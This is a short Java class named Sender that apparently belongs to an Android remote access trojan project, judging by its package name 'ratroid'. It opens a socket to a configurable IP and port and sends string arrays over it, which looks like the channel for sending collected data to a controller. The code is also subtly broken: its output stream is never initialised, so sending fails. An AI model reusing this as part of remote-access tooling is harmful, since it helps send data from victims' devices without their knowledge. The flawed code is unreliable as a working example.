package com.hicham.ratroid;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.Socket;


public class Sender {
	private int port;
	private String ip;
	Socket s ;  
	ObjectOutputStream oos;
	boolean established = false;
	
	public Sender(String ip , int port){
		this.ip=ip;
		this.port=port;
	}
	public boolean connect(){
		try
		{
		s = new Socket(ip,port);
		 established = true;
		return true;
		} catch (IOException e)
		{
			e.printStackTrace();
			 established = false;
			return false;
		}
		}
	public boolean send(String[] datax){
		try {
			oos.writeObject(datax);
			oos.flush();
			return true;
		} catch (IOException e) {
			e.printStackTrace();
			return false;
		}
	}

	public boolean isEstablished(){return established;}
	public void setEstablished(boolean value){established=value;}

}

